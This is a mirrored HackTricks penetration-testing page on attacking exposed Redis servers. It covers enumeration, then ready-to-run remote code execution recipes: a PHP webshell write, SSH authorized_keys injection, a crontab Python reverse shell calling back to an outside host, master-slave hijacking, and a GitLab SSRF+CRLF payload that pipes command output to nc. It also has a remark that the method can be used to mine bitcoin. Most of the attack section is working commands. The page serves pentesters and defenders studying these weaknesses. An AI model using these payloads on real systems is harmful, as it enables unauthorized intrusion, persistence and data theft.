mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
175 lines
8.3 KiB
Markdown
175 lines
8.3 KiB
Markdown
# 6379 - Pentesting Redis
|
||
|
||
## Basic Information
|
||
|
||
Redis is an open source \(BSD licensed\), in-memory **data structure store**, used as a database, cache and message broker \(from [here](https://redis.io/topics/introduction)\).
|
||
|
||
**Default port:** 6379
|
||
|
||
```text
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
|
||
## Enumeration
|
||
|
||
### Automatic
|
||
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
|
||
### Manual
|
||
|
||
Redis is a text based protocol, you can just send the command and the returned values will be readable
|
||
|
||
```text
|
||
nc -vn 10.10.10.10 6379
|
||
info
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
|
||
\*\*\*\*[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sadboxed**. In the linked post you can see **how to abuse it** using the **dotfile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commas on the system. Also, from the same post you can see some **options to cause DoS**.
|
||
|
||
### \*\*\*\*[**Brute force**](../brute-force.md#redis)\*\*\*\*
|
||
|
||
### **Authenticated enumeration**
|
||
|
||
Several times redis will be configured to be **accessible anonymously**. In this case you won't need to use any username and password. Talk to redis service and **execute** the **`info`** command, it will let you know a **lot of information** about the server: SO running, Clients, memory...
|
||
Another **interesting command** to run is **`config get *`** this will let you know several **strings** related to the service and one of them could be the home of the redis user \(_/var/lib/redis,_ another possible path could be _/home/redis/.ssh_\), and knowing this you know where you can write the `authenticated_users` file.
|
||
You can also use `keys *` to list the keys and the `get <key>` to get them.
|
||
|
||
```text
|
||
sudo apt-get install redis-tools
|
||
```
|
||
|
||
```bash
|
||
redis-cli -h 192.168.0.24
|
||
192.168.0.24:6379> info
|
||
192.168.0.24:6379> CONFIG GET *
|
||
192.168.0.24:6379> keys *
|
||
192.168.0.24:6379> get 351115ba5f690fb9b1bdc1b41e673a94 #This is a key list on the last command
|
||
```
|
||
|
||
**Other redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.
|
||
Dump the database with**[ **redis-dump**](https://www.npmjs.com/package/redis-dump)\*\*\*\*
|
||
|
||
### **Automated Exploitation**
|
||
|
||
To exploit a **bad configured Redis** you should try: [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
## Redis RCE
|
||
|
||
### Webshell
|
||
|
||
From: [http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html](http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)
|
||
You must know the **path** of the **Web site folder**:
|
||
|
||
```text
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
|
||
If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
|
||
|
||
### SSH
|
||
|
||
1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
|
||
2. Write the public key to a file : **`(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt`**
|
||
3. Import the file into redis : **`cat foo.txt | redis-cli -h 10.85.0.52 -x set crackit`**
|
||
4. Save the public key to the **authorized\_keys** file on redis server:
|
||
|
||
```text
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /home/test/.ssh/
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
|
||
5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa test@10.85.0.52**
|
||
|
||
### Crontab
|
||
|
||
```text
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
|
||
The last exampleis for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
This method can also be used to earn bitcoin :[yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### Master-Slave Module
|
||
|
||
The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
|
||
|
||
```text
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
|
||
## SSRF talking to Redis
|
||
|
||
If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
|
||
|
||
```text
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
|
||
Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** \(maybe with a CRLF vuln\) or **POST parameters**, you will be able to send arbitrary commands to Redis.
|
||
|
||
### Example: Gitlab SSRF + CRLF to Shell
|
||
|
||
In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1\] \(this will access 127.0.0.1\), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
|
||
|
||
Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
|
||
|
||
```text
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
|
||
And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:
|
||
|
||
```text
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
|
||
_For some reason \(as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from\) the exploitation worked with the `git` scheme and not with the `http` scheme._
|
||
|